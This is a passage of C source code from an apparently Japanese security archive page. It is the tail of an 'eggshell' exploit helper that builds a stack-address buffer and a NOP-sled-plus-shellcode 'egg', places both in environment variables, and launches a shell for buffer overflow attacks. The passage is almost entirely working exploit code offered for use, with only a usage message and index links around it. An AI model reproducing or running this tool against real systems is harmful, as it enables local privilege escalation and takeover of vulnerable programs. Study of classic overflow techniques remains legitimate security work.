break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}

if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}

if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);

memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}

void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------

●Security INDEXへ

★TOP INDEXへ